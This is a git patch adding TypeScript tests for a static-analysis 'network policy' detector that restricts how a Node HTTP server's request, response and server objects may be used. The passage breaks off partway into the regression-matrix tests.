From 5ac18be70be10d40ca4610b3bc826e81335e0435 Mon Sep 17 00:00:00 2001
From: LogicDuke
Date: Wed, 2 Sep 2026 20:15:01 +0200
Subject: [PATCH 01/20] test(cockpit): rebuild D3 network policy
---
tests/cockpit-host/d3-network-policy.test.ts | 662 +++++++++
tests/cockpit-host/purity.test.ts | 61 +
.../cockpit-host/support/d3-network-policy.ts | 1252 +++++++++++++++++
.../support/d3-regression-matrix.ts | 952 +++++++++++++
4 files changed, 2927 insertions(+)
create mode 100644 tests/cockpit-host/d3-network-policy.test.ts
create mode 100644 tests/cockpit-host/support/d3-network-policy.ts
create mode 100644 tests/cockpit-host/support/d3-regression-matrix.ts
diff --git a/tests/cockpit-host/d3-network-policy.test.ts b/tests/cockpit-host/d3-network-policy.test.ts
new file mode 100644
index 0000000..1b73f4e
--- /dev/null
+++ b/tests/cockpit-host/d3-network-policy.test.ts
@@ -0,0 +1,662 @@
+import { readdirSync, readFileSync } from 'node:fs';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+
+import ts from 'typescript';
+import { describe, expect, it } from 'vitest';
+
+import {
+ analyzeNetworkPolicy,
+ DEFAULT_FIXPOINT_CEILING,
+ inspectNetworkPolicy,
+ isValueRead,
+ isWriteTarget,
+ POLICY_KEY_NAMES,
+ STATIC_KEY_CEILING,
+ type NetworkPolicyResult,
+ type ReasonCode,
+} from './support/d3-network-policy.js';
+import {
+ D3_REGRESSION_MATRIX,
+ REAL_HOST_REPLICA,
+ REGRESSION_CATEGORIES,
+ reversePropagationChain,
+ type RegressionRow,
+} from './support/d3-regression-matrix.js';
+
+/**
+ * Cockpit D3 network policy — mechanism tests and the semantic regression matrix.
+ *
+ * The detector under test is `tests/cockpit-host/support/d3-network-policy.ts`;
+ * the rows live in `tests/cockpit-host/support/d3-regression-matrix.ts`. The
+ * purity suite integrates the detector over the real host tree separately.
+ */
+
+const hostDir = fileURLToPath(new URL('../../src/cockpit-host/', import.meta.url));
+const detectorPath = fileURLToPath(new URL('./support/d3-network-policy.ts', import.meta.url));
+
+const NS = `import http from 'node:http';`;
+const L = `(request: http.IncomingMessage, response: http.ServerResponse) => { response.end('ok'); }`;
+
+const describeFindings = (result: NetworkPolicyResult): string =>
+ result.findings.map((finding) => `${finding.reason}@${String(finding.line)}:${String(finding.column)} ${finding.text}`).join('; ');
+
+/** Every node under `root` (depth-first) that satisfies `predicate`. */
+function collectNodes(root: ts.Node, predicate: (node: ts.Node) => node is T): T[] {
+ const found: T[] = [];
+ const visit = (node: ts.Node): void => {
+ if (predicate(node)) found.push(node);
+ ts.forEachChild(node, visit);
+ };
+ visit(root);
+ return found;
+}
+
+const identifiersNamed = (root: ts.Node, text: string): ts.Identifier[] =>
+ collectNodes(root, ts.isIdentifier).filter((id) => id.text === text);
+
+const occurrences = (haystack: string, needle: string): number => haystack.split(needle).length - 1;
+
+// ---------------------------------------------------------------------------
+// valueSymbolOf
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy valueSymbolOf is the single symbol-resolution path', () => {
+ it('resolves a shorthand property value to the local binding, not the property', () => {
+ const inspection = inspectNetworkPolicy(`const server = 1;\nconst box = { server };`);
+ const [declared, shorthand] = identifiersNamed(inspection.sourceFile, 'server');
+ expect(declared).toBeDefined();
+ expect(shorthand).toBeDefined();
+ if (declared === undefined || shorthand === undefined) return;
+ expect(ts.isShorthandPropertyAssignment(shorthand.parent)).toBe(true);
+ const declaredSymbol = inspection.valueSymbolOf(declared);
+ expect(inspection.valueSymbolOf(shorthand)).toBe(declaredSymbol);
+ // The plain checker call returns the *property* symbol here — the mismatch F-3 named.
+ expect(inspection.checker.getSymbolAtLocation(shorthand)).not.toBe(declaredSymbol);
+ });
+
+ it('resolves an export specifier to its local target', () => {
+ const inspection = inspectNetworkPolicy(`const server = 1;\nexport { server as s };`);
+ const [declared, local] = identifiersNamed(inspection.sourceFile, 'server');
+ expect(declared).toBeDefined();
+ expect(local).toBeDefined();
+ if (declared === undefined || local === undefined) return;
+ expect(ts.isExportSpecifier(local.parent)).toBe(true);
+ expect(inspection.valueSymbolOf(local)).toBe(inspection.valueSymbolOf(declared));
+ expect(inspection.valueSymbolOf(local.parent)).toBe(inspection.valueSymbolOf(declared));
+ });
+
+ it('resolves ordinary identifiers by binder identity across scopes', () => {
+ const inspection = inspectNetworkPolicy(`const k = 1;\n{ const k = 2; k; }\nk;`);
+ const [outerDecl, innerDecl, innerUse, outerUse] = identifiersNamed(inspection.sourceFile, 'k');
+ expect(outerDecl && innerDecl && innerUse && outerUse).toBeTruthy();
+ if (!outerDecl || !innerDecl || !innerUse || !outerUse) return;
+ expect(inspection.valueSymbolOf(innerUse)).toBe(inspection.valueSymbolOf(innerDecl));
+ expect(inspection.valueSymbolOf(outerUse)).toBe(inspection.valueSymbolOf(outerDecl));
+ expect(inspection.valueSymbolOf(innerDecl)).not.toBe(inspection.valueSymbolOf(outerDecl));
+ });
+
+ it('is the only checker symbol-resolution path in the detector source', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'checker.getSymbolAtLocation(')).toBe(1);
+ expect(occurrences(detector, 'checker.getShorthandAssignmentValueSymbol(')).toBe(1);
+ expect(occurrences(detector, 'checker.getExportSpecifierLocalTargetSymbol(')).toBe(2);
+ expect(occurrences(detector, 'getSymbolsInScope')).toBe(0);
+ expect(occurrences(detector, 'getAliasedSymbol')).toBe(0);
+ expect(occurrences(detector, 'getTypeAtLocation')).toBe(0);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// isValueRead
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy isValueRead separates runtime reads from names and types', () => {
+ const source = `
+import http, { type Server as S, createServer } from 'node:http';
+import * as ns from 'node:url';
+type T = { server: number; m(): void };
+interface I { server: number }
+enum E { server }
+namespace N { export const server = 1; }
+class C { server = 1; get g() { return 1; } set g(v: number) {} m() {} }
+function server(server: number, { server: alias }: { server: number }): http.Server | null { return null; }
+const o = { server: 1, [String(1)]: 2 };
+let v: typeof server;
+label: for (;;) { break label; }
+server(o.server, { server: 1 });
+const { server: renamed } = o;
+export { renamed as server };
+import.meta;
+`;
+ const inspection = inspectNetworkPolicy(source);
+ const reads = identifiersNamed(inspection.sourceFile, 'server').filter(isValueRead);
+
+ it('treats exactly the runtime reads as value reads', () => {
+ const texts = reads.map((id) => {
+ const parent = id.parent;
+ return ts.SyntaxKind[parent.kind];
+ });
+ expect(texts).toEqual(['CallExpression']);
+ // `export { renamed as server }`: the local name `renamed` is the value read, the exported name is not.
+ const renamed = identifiersNamed(inspection.sourceFile, 'renamed').filter(isValueRead);
+ expect(renamed.map((id) => ts.SyntaxKind[id.parent.kind])).toEqual(['ExportSpecifier']);
+ });
+
+ it('excludes declaration names, keys, member names, type positions, labels and import forms', () => {
+ const excluded = identifiersNamed(inspection.sourceFile, 'server').filter((id) => !isValueRead(id));
+ const kinds = new Set(excluded.map((id) => ts.SyntaxKind[id.parent.kind]));
+ for (const kind of [
+ 'PropertySignature',
+ 'EnumMember',
+ 'VariableDeclaration',
+ 'PropertyDeclaration',
+ 'FunctionDeclaration',
+ 'Parameter',
+ 'BindingElement',
+ 'PropertyAssignment',
+ 'PropertyAccessExpression',
+ 'TypeQuery',
+ ]) {
+ expect(kinds, kind).toContain(kind);
+ }
+ expect(identifiersNamed(inspection.sourceFile, 'label').some(isValueRead)).toBe(false);
+ expect(identifiersNamed(inspection.sourceFile, 'S').some(isValueRead)).toBe(false);
+ expect(identifiersNamed(inspection.sourceFile, 'ns').some(isValueRead)).toBe(false);
+ expect(identifiersNamed(inspection.sourceFile, 'meta').some(isValueRead)).toBe(false);
+ });
+
+ it('treats a class extends expression as a value read but implements as a type', () => {
+ const inspected = inspectNetworkPolicy(`class A {}\ninterface I {}\nclass B extends A implements I {}`);
+ expect(identifiersNamed(inspected.sourceFile, 'A').filter(isValueRead)).toHaveLength(1);
+ expect(identifiersNamed(inspected.sourceFile, 'I').filter(isValueRead)).toHaveLength(0);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Static-key resolver
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy static-key resolver returns exactly RESOLVED/NOT_CAPABILITY/INDETERMINATE', () => {
+ const firstElementKey = (source: string): ReturnType['resolveStaticKey']> => {
+ const inspection = inspectNetworkPolicy(source);
+ const [access] = collectNodes(inspection.sourceFile, ts.isElementAccessExpression);
+ expect(access).toBeDefined();
+ if (access === undefined) throw new Error('no element access');
+ return inspection.resolveStaticKey(access.argumentExpression);
+ };
+
+ it('resolves literals, templates, concatenations, unique consts and wrappers', () => {
+ expect(firstElementKey(`o['listen'];`)).toEqual({ kind: 'RESOLVED', value: 'listen' });
+ expect(firstElementKey(`o[\`listen\`];`)).toEqual({ kind: 'RESOLVED', value: 'listen' });
+ expect(firstElementKey(`const A = 'lis'; o[\`\${A}ten\`];`)).toEqual({ kind: 'RESOLVED', value: 'listen' });
+ expect(firstElementKey(`o['lis' + 'ten'];`)).toEqual({ kind: 'RESOLVED', value: 'listen' });
+ expect(firstElementKey(`const K = 'listen'; o[K];`)).toEqual({ kind: 'RESOLVED', value: 'listen' });
+ expect(firstElementKey(`const A = 'lis'; const B = A + 'ten'; o[((B as string)!) satisfies string];`)).toEqual({
+ kind: 'RESOLVED',
+ value: 'listen',
+ });
+ expect(firstElementKey(`o[0];`)).toEqual({ kind: 'RESOLVED', value: '0' });
+ });
+
+ it('returns NOT_CAPABILITY once a folded string exceeds the policy-name ceiling', () => {
+ expect(STATIC_KEY_CEILING).toBe(Math.max(...POLICY_KEY_NAMES.map((name) => name.length)));
+ expect(STATIC_KEY_CEILING).toBe('createServer'.length);
+ expect(firstElementKey(`o['${'x'.repeat(STATIC_KEY_CEILING + 1)}'];`)).toEqual({ kind: 'NOT_CAPABILITY' });
+ expect(firstElementKey(`o['${'x'.repeat(STATIC_KEY_CEILING)}'];`).kind).toBe('RESOLVED');
+ expect(firstElementKey(`const A = '${'x'.repeat(STATIC_KEY_CEILING)}'; o[A + 'y'];`)).toEqual({ kind: 'NOT_CAPABILITY' });
+ });
+
+ it('returns INDETERMINATE for let, written const, parameters, cycles, calls and destructured bindings', () => {
+ expect(firstElementKey(`let K = 'listen'; o[K];`)).toEqual({ kind: 'INDETERMINATE' });
+ expect(firstElementKey(`const K = 'listen'; (K as any) = 'x'; o[K];`)).toEqual({ kind: 'INDETERMINATE' });
+ expect(firstElementKey(`function f(K: string) { o[K]; }`)).toEqual({ kind: 'INDETERMINATE' });
+ expect(firstElementKey(`const A: string = B; const B: string = A; o[A];`)).toEqual({ kind: 'INDETERMINATE' });
+ expect(firstElementKey(`o[String(1)];`)).toEqual({ kind: 'INDETERMINATE' });
+ expect(firstElementKey(`const { K } = { K: 'listen' }; o[K];`)).toEqual({ kind: 'INDETERMINATE' });
+ expect(firstElementKey(`declare const K: string; o[K];`)).toEqual({ kind: 'INDETERMINATE' });
+ expect(firstElementKey(`const K = 'lis' + Math.random(); o[K];`)).toEqual({ kind: 'INDETERMINATE' });
+ });
+
+ it('is scope-sensitive by binder identity, not by name', () => {
+ expect(firstElementKey(`const K = 'request'; { const K = 'listen'; o[K]; }`)).toEqual({ kind: 'RESOLVED', value: 'listen' });
+ expect(firstElementKey(`const K = 'listen'; function f(K: string) { o[K]; }`)).toEqual({ kind: 'INDETERMINATE' });
+ });
+
+ it('terminates on a long const chain and a dense concatenation tree', () => {
+ const chain = Array.from({ length: 300 }, (_, i) => `const k${String(i + 1)} = k${String(i)};`).join('\n');
+ const key = firstElementKey(`const k0 = 'listen';\n${chain}\no[k300];`);
+ expect(['RESOLVED', 'INDETERMINATE']).toContain(key.kind);
+ const tree = Array.from({ length: 2_000 }, () => `'x'`).join(' + ');
+ expect(firstElementKey(`o[${tree}];`).kind).not.toBe('RESOLVED');
+ });
+
+ it('is the only key resolver in the detector source', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function resolveKeyInner(')).toBe(1);
+ expect(occurrences(detector, 'const resolveStaticKey = ')).toBe(1);
+ expect(occurrences(detector, 'STATIC_KEY_CEILING')).toBeGreaterThan(0);
+ expect(occurrences(detector, 'staticStringOf')).toBe(0);
+ expect(occurrences(detector, 'collectStringConsts')).toBe(0);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Write inventory
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy write inventory counts binder-resolved writes once', () => {
+ const inspection = inspectNetworkPolicy(`
+function f() {}
+let g = 1;
+(f as any) = 1;
+(f as any) += 1;
+(f as any)++;
+--(f as any);
+[(f as any)] = [1];
+({ f } = { f: 1 } as any);
+({ x: (f as any) } = { x: 1 } as any);
+for (f as any in {}) {}
+for (f as any of []) {}
+const h = f;
+f;
+g = 2;
+`);
+ const symbolOf = (text: string): ts.Symbol => {
+ const [id] = identifiersNamed(inspection.sourceFile, text);
+ const symbol = id === undefined ? undefined : inspection.valueSymbolOf(id);
+ if (symbol === undefined) throw new Error(`no symbol for ${text}`);
+ return symbol;
+ };
+
+ it('counts assignment, compound, update, destructuring-assignment, for-in and for-of targets through wrappers', () => {
+ expect(inspection.writeCountOf(symbolOf('f'))).toBe(9);
+ expect(inspection.writeCountOf(symbolOf('g'))).toBe(1);
+ expect(inspection.writeCountOf(symbolOf('h'))).toBe(0);
+ });
+
+ it('exposes isWriteTarget for member accesses inside patterns', () => {
+ const inspected = inspectNetworkPolicy(`declare const o: any;\n[o.a] = [1];\n({ b: o.c } = {} as any);\no.d;\nuse([o.e]);`);
+ const accesses = collectNodes(inspected.sourceFile, ts.isPropertyAccessExpression);
+ expect(accesses.map((access) => isWriteTarget(access))).toEqual([true, true, false, false]);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Listener boundary
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy createServer listener boundary', () => {
+ const factsOfParameter = (source: string, name: string): readonly string[] => {
+ const inspection = inspectNetworkPolicy(source);
+ const parameter = collectNodes(inspection.sourceFile, ts.isParameter).find((p) => ts.isIdentifier(p.name) && p.name.text === name);
+ const symbol = parameter === undefined ? undefined : inspection.valueSymbolOf(parameter.name);
+ if (symbol === undefined) throw new Error(`no parameter ${name}`);
+ return inspection.factsOf(symbol);
+ };
+
+ it('roots exactly parameter 0 as REQUEST and parameter 1 as RESPONSE', () => {
+ const source = `${NS}\nhttp.createServer((a, b, c, d) => { a; b; c; d; });`;
+ expect(factsOfParameter(source, 'a')).toEqual(['REQUEST:ROOT']);
+ expect(factsOfParameter(source, 'b')).toEqual(['RESPONSE:ROOT']);
+ expect(factsOfParameter(source, 'c')).toEqual([]);
+ expect(factsOfParameter(source, 'd')).toEqual([]);
+ });
+
+ it('leaves parameters at index >= 2 unprivileged even when they misbehave', () => {
+ const result = analyzeNetworkPolicy(`${NS}\nhttp.createServer((request, response, extra: any) => { extra.socket.write('x'); response.end(); });`);
+ expect(result.verdict, describeFindings(result)).toBe('ALLOW');
+ });
+
+ it('requires a CallExpression with exactly one normalized function argument', () => {
+ for (const [source, reason] of [
+ [`${NS}\nhttp.createServer();`, 'CREATE_SERVER_ARITY'],
+ [`${NS}\nhttp.createServer({}, ${L});`, 'CREATE_SERVER_ARITY'],
+ [`${NS}\nnew http.createServer(${L});`, 'CREATE_SERVER_NEW'],
+ [`${NS}\nlet h = ${L};\nhttp.createServer(h);`, 'LISTENER_NOT_FUNCTION'],
+ [`${NS}\nhttp.createServer(({ url }, response) => {});`, 'LISTENER_PARAMETER_PATTERN'],
+ [`${NS}\nhttp.createServer((...args: any[]) => {});`, 'LISTENER_PARAMETER_PATTERN'],
+ [`${NS}\nhttp.createServer(function (this: unknown, request, response) {});`, 'LISTENER_THIS_PARAMETER'],
+ ] as const) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.verdict, source).toBe('DENY');
+ expect(result.reasons, source).toContain(reason);
+ }
+ });
+
+ it('normalizes the listener through wrappers, const spines and unique FunctionDeclarations', () => {
+ for (const source of [
+ `${NS}\nhttp.createServer((${L}) as any);`,
+ `${NS}\nconst h1 = ${L};\nconst h2 = h1!;\nhttp.createServer(h2);`,
+ `${NS}\nfunction handle(request: http.IncomingMessage, response: http.ServerResponse) { response.end(request.url); }\nhttp.createServer(handle);`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.verdict, `${source}\n${describeFindings(result)}`).toBe('ALLOW');
+ }
+ });
+
+ it('roots the parameters of a FunctionDeclaration listener', () => {
+ const source = `${NS}\nfunction handle(q: http.IncomingMessage, s: http.ServerResponse) { s.end(q.url); }\nhttp.createServer(handle);`;
+ expect(factsOfParameter(source, 'q')).toEqual(['REQUEST:ROOT']);
+ expect(factsOfParameter(source, 's')).toEqual(['RESPONSE:ROOT']);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Options argument
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy denies every createServer options form (frozen: OPTIONS = DENY)', () => {
+ it('denies a second argument regardless of its shape', () => {
+ for (const options of ['{}', '{ IncomingMessage: class {} }', '{ ServerResponse: class {} }', '{ shouldUpgradeCallback: () => true }', 'undefined', 'opts']) {
+ const result = analyzeNetworkPolicy(`${NS}\ndeclare const opts: any;\nhttp.createServer(${options}, ${L});`);
+ expect(result.reasons, options).toContain('CREATE_SERVER_ARITY');
+ }
+ });
+
+ it('performs no options analysis: the detector names no option keys', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ for (const forbidden of ['IncomingMessage', 'ServerResponse', 'shouldUpgradeCallback', 'prototype']) {
+ expect(occurrences(detector, forbidden), forbidden).toBe(0);
+ }
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Local callee eligibility and propagation
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy local callee eligibility governs propagation and escape alike', () => {
+ const factsOfParameter = (source: string, name: string): readonly string[] => {
+ const inspection = inspectNetworkPolicy(source);
+ const parameter = collectNodes(inspection.sourceFile, ts.isParameter).find((p) => ts.isIdentifier(p.name) && p.name.text === name);
+ const symbol = parameter === undefined ? undefined : inspection.valueSymbolOf(parameter.name);
+ if (symbol === undefined) throw new Error(`no parameter ${name}`);
+ return inspection.factsOf(symbol);
+ };
+
+ it('propagates into an immutable FunctionDeclaration parameter as PARAM', () => {
+ const source = `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\nhttp.createServer((request, response) => { f(response); });`;
+ expect(factsOfParameter(source, 'res')).toEqual(['RESPONSE:PARAM']);
+ expect(analyzeNetworkPolicy(source).verdict).toBe('ALLOW');
+ });
+
+ it('rejects a written FunctionDeclaration as a propagation callee and denies the call site', () => {
+ const source = `${NS}\nfunction f(res: http.ServerResponse) { res.end(); }\n(f as any) = null;\nhttp.createServer((request, response) => { f(response); });`;
+ expect(factsOfParameter(source, 'res')).toEqual([]);
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons).toContain('RESPONSE_ESCAPE');
+ });
+
+ it('rejects rest, pattern and missing parameters for a privileged argument', () => {
+ for (const callee of ['function f(...a: unknown[]) {}', 'function f({ x }: any) {}', 'function f() {}']) {
+ const result = analyzeNetworkPolicy(`${NS}\n${callee}\nhttp.createServer((request, response) => { f(response); });`);
+ expect(result.reasons, callee).toContain('RESPONSE_ESCAPE');
+ }
+ });
+
+ it('uses one predicate: no fact is ever produced for a call site that is denied as an escape', () => {
+ const inspection = inspectNetworkPolicy(
+ `${NS}\nlet f = (res: any) => { res; };\nfunction g(res: any) { res; }\nhttp.createServer((request, response) => { f(response); g(response); });`,
+ );
+ const parameters = collectNodes(inspection.sourceFile, ts.isParameter).filter((p) => ts.isIdentifier(p.name) && p.name.text === 'res');
+ const facts = parameters.map((p) => {
+ const symbol = inspection.valueSymbolOf(p.name);
+ return symbol === undefined ? [] : inspection.factsOf(symbol);
+ });
+ expect(facts).toEqual([[], ['RESPONSE:PARAM']]);
+ expect(inspection.result.findings.filter((finding) => finding.reason === 'RESPONSE_ESCAPE')).toHaveLength(1);
+ });
+
+ it('is the only parameter-propagation predicate in the detector source', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function resolvePropagationParameter(')).toBe(1);
+ expect(occurrences(detector, 'resolvePropagationParameter(ctx, ')).toBe(2);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Factory confinement
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy factory confinement', () => {
+ const factoryState = (source: string, name: string): { confined: boolean; result: NetworkPolicyResult } => {
+ const inspection = inspectNetworkPolicy(source);
+ const [id] = identifiersNamed(inspection.sourceFile, name);
+ const symbol = id === undefined ? undefined : inspection.valueSymbolOf(id);
+ if (symbol === undefined) throw new Error(`no binding ${name}`);
+ return { confined: inspection.isConfinedFactory(symbol), result: inspection.result };
+ };
+
+ it('confines the real exported factory and roots its const consumer as SERVER', () => {
+ const source = `${NS}\nexport function createCockpitServer(): http.Server { return http.createServer(${L}); }\nconst server = createCockpitServer();\nserver.listen(1);`;
+ const { confined, result } = factoryState(source, 'createCockpitServer');
+ expect(confined).toBe(true);
+ expect(result.verdict, describeFindings(result)).toBe('ALLOW');
+ const inspection = inspectNetworkPolicy(source);
+ const [serverDecl] = identifiersNamed(inspection.sourceFile, 'server');
+ const serverSymbol = serverDecl === undefined ? undefined : inspection.valueSymbolOf(serverDecl);
+ expect(serverSymbol && inspection.factsOf(serverSymbol)).toEqual(['SERVER:ROOT']);
+ });
+
+ it('does not confine mixed returns, escaped identities, async/generator or IIFE/method/object-held functions', () => {
+ for (const [source, name] of [
+ [`${NS}\nfunction make(x: boolean) { if (x) return http.createServer(${L}); return null; }`, 'make'],
+ [`${NS}\nfunction make() { return http.createServer(${L}); }\nconst fns = [make];`, 'make'],
+ [`${NS}\nfunction make() { return http.createServer(${L}); }\nmake.call(null);`, 'make'],
+ [`${NS}\nasync function make() { return http.createServer(${L}); }`, 'make'],
+ [`${NS}\nfunction* make() { return http.createServer(${L}); }`, 'make'],
+ [`${NS}\nconst host = { make: () => http.createServer(${L}) };`, 'make'],
+ [`${NS}\nfunction id(s: http.Server) { return s; }`, 'id'],
+ ] as const) {
+ const { confined, result } = factoryState(source, name);
+ expect(confined, source).toBe(false);
+ if (source.includes('createServer(')) expect(result.reasons, source).toContain('SERVER_UNCONFINED_RETURN');
+ }
+ });
+
+ it('does not confine a factory whose return is a PARAM-derived server alias', () => {
+ const { confined, result } = factoryState(`${NS}\nconst server = http.createServer(${L});\nfunction id(s: http.Server) { const t = s; return t; }\nid(server);`, 'id');
+ expect(confined).toBe(false);
+ expect(result.reasons).toContain('SERVER_UNCONFINED_RETURN');
+ });
+
+ it('confines factories returning other confined factories or rooted const aliases', () => {
+ const source = `${NS}\nconst server = http.createServer(${L});\nfunction get() { return server; }\nfunction outer() { return get(); }\nouter().listen(1);`;
+ expect(factoryState(source, 'get').confined).toBe(true);
+ expect(factoryState(source, 'outer').confined).toBe(true);
+ expect(factoryState(source, 'outer').result.verdict).toBe('ALLOW');
+ });
+
+ it('has no function-level factory set outside the fixpoint', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'serverFactories')).toBe(0);
+ expect(occurrences(detector, 'function isConfinedFactory(')).toBe(1);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Positive policies
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy positive policies deny every non-allow-listed operation', () => {
+ it('denies destructuring of any proven target', () => {
+ for (const [source, reason] of [
+ [`${NS}\nconst { listen } = http.createServer(${L});`, 'SERVER_DESTRUCTURING'],
+ [`${NS}\nhttp.createServer((request, response) => { const { socket } = request; });`, 'REQUEST_DESTRUCTURING'],
+ [`${NS}\nhttp.createServer((request, response) => { const [a] = response as any; });`, 'RESPONSE_DESTRUCTURING'],
+ [`${NS}\nhttp.createServer((request, response) => { let s; ({ socket: s } = response); });`, 'RESPONSE_DESTRUCTURING'],
+ ] as const) {
+ expect(analyzeNetworkPolicy(source).reasons, source).toContain(reason);
+ }
+ });
+
+ it('denies export { server } and every other proven-target export', () => {
+ const base = `${NS}\nconst server = http.createServer(${L});\n`;
+ for (const tail of [`export { server };`, `export { server as s };`, `export default server;`, `const a = server;\nexport { a };`]) {
+ expect(analyzeNetworkPolicy(base + tail).reasons, tail).toContain('SERVER_EXPORT');
+ }
+ expect(analyzeNetworkPolicy(`${NS}\nexport const server = http.createServer(${L});`).reasons).toContain('SERVER_EXPORT');
+ });
+
+ it('has no dangerous-member-name model: the allow-lists are the only member tables', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ for (const legacy of [
+ 'reqResSymbols',
+ 'receiverIsReqRes',
+ 'STATIC_SOCKET_ACQUISITION_NAMES',
+ 'RECEIVER_INDEPENDENT_ASSIGNMENT_NAMES',
+ 'META_MUTATION_APIS',
+ 'scanReqResBindingPattern',
+ 'scanReqResAssignmentTarget',
+ 'scanSocketAssignmentTarget',
+ "'socket'",
+ "'connection'",
+ ]) {
+ expect(occurrences(detector, legacy), legacy).toBe(0);
+ }
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Fixpoint
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy fixpoint is explicit, bounded and fail-closed', () => {
+ it('converges on the real host replica and reports iterations within the derived bound', () => {
+ const inspection = inspectNetworkPolicy(REAL_HOST_REPLICA);
+ expect(inspection.result.fixpoint.state).toBe('CONVERGED');
+ expect(inspection.result.fixpoint.iterations).toBeLessThanOrEqual(inspection.fixpointBound);
+ expect(inspection.result.fixpoint.bound).toBe(inspection.fixpointBound);
+ expect(inspection.fixpointBound).toBeGreaterThanOrEqual(inspection.declaredSymbolCount * 9 + 1);
+ expect(inspection.fixpointBound).toBeLessThanOrEqual(DEFAULT_FIXPOINT_CEILING);
+ });
+
+ it('needs more passes for a longer reverse chain and converges monotonically', () => {
+ const short = analyzeNetworkPolicy(reversePropagationChain(2));
+ const long = analyzeNetworkPolicy(reversePropagationChain(8));
+ expect(short.fixpoint.state).toBe('CONVERGED');
+ expect(long.fixpoint.state).toBe('CONVERGED');
+ expect(long.fixpoint.iterations).toBeGreaterThan(short.fixpoint.iterations);
+ expect(long.verdict, describeFindings(long)).toBe('ALLOW');
+ });
+
+ it('reports EXHAUSTED and denies immediately when the ceiling is reached, without Phase-B findings', () => {
+ const result = analyzeNetworkPolicy(reversePropagationChain(8), { fixpointCeiling: 3 });
+ expect(result.fixpoint).toEqual({ state: 'EXHAUSTED', iterations: 3, bound: 3 });
+ expect(result.verdict).toBe('DENY');
+ expect(result.reasons).toEqual(['FIXPOINT_EXHAUSTED']);
+ });
+
+ it('exhaustion denies a source that is otherwise allowed and never masks it as ALLOW', () => {
+ const allowed = analyzeNetworkPolicy(REAL_HOST_REPLICA);
+ const exhausted = analyzeNetworkPolicy(REAL_HOST_REPLICA, { fixpointCeiling: 1 });
+ expect(allowed.verdict).toBe('ALLOW');
+ expect(exhausted.verdict).toBe('DENY');
+ expect(exhausted.fixpoint.state).toBe('EXHAUSTED');
+ });
+
+ it('is the only fixpoint and the only provenance producer in the detector source', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function runFixpoint(')).toBe(1);
+ expect(occurrences(detector, 'function addFact(')).toBe(1);
+ expect(occurrences(detector, 'ctx.facts.set(')).toBe(1);
+ expect(occurrences(detector, 'facts.add(')).toBe(1);
+ expect(occurrences(detector, "'CONVERGED'")).toBeGreaterThan(0);
+ expect(occurrences(detector, "'EXHAUSTED'")).toBeGreaterThan(0);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Real host
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy accepts the real Stage-A host', () => {
+ it('allows every real host source file', () => {
+ const files = readdirSync(hostDir, { recursive: true })
+ .map((entry) => String(entry))
+ .filter((name) => name.endsWith('.ts'));
+ expect(files).toContain('server.ts');
+ for (const file of files) {
+ const result = analyzeNetworkPolicy(readFileSync(join(hostDir, file), 'utf8'));
+ expect(result.fixpoint.state, file).toBe('CONVERGED');
+ expect(result.verdict, `${file}: ${describeFindings(result)}`).toBe('ALLOW');
+ }
+ });
+
+ it('proves the real server.ts through the intended mechanisms', () => {
+ const inspection = inspectNetworkPolicy(readFileSync(join(hostDir, 'server.ts'), 'utf8'));
+ const [factory] = identifiersNamed(inspection.sourceFile, 'createCockpitServer');
+ const factorySymbol = factory === undefined ? undefined : inspection.valueSymbolOf(factory);
+ expect(factorySymbol && inspection.isConfinedFactory(factorySymbol)).toBe(true);
+ const parameters = collectNodes(inspection.sourceFile, ts.isParameter);
+ const factsByName = new Map();
+ for (const parameter of parameters) {
+ if (!ts.isIdentifier(parameter.name)) continue;
+ const symbol = inspection.valueSymbolOf(parameter.name);
+ if (symbol !== undefined) factsByName.set(`${parameter.name.text}@${String(parameter.pos)}`, inspection.factsOf(symbol));
+ }
+ const facts = [...factsByName.values()].filter((list) => list.length > 0).map((list) => list.join(','));
+ expect(facts.sort()).toEqual(['REQUEST:ROOT', 'RESPONSE:PARAM', 'RESPONSE:ROOT']);
+ });
+});
+
+// ---------------------------------------------------------------------------
+// Regression matrix
+// ---------------------------------------------------------------------------
+
+describe('D3 network policy semantic regression matrix', () => {
+ it('covers every frozen category with at least one MUST_DENY or MUST_ALLOW row', () => {
+ for (const category of REGRESSION_CATEGORIES) {
+ const rows = D3_REGRESSION_MATRIX.filter((row) => row.category === category && row.expectation !== 'OUTSIDE_DECLARED_BOUNDARY');
+ expect(rows.length, category).toBeGreaterThan(0);
+ }
+ });
+
+ it('has unique row names within each category', () => {
+ const seen = new Set();
+ for (const row of D3_REGRESSION_MATRIX) {
+ const key = `${row.category}::${row.name}`;
+ expect(seen.has(key), key).toBe(false);
+ seen.add(key);
+ }
+ });
+
+ it('closes every PR #64 finding F-1 through F-7 with at least one row', () => {
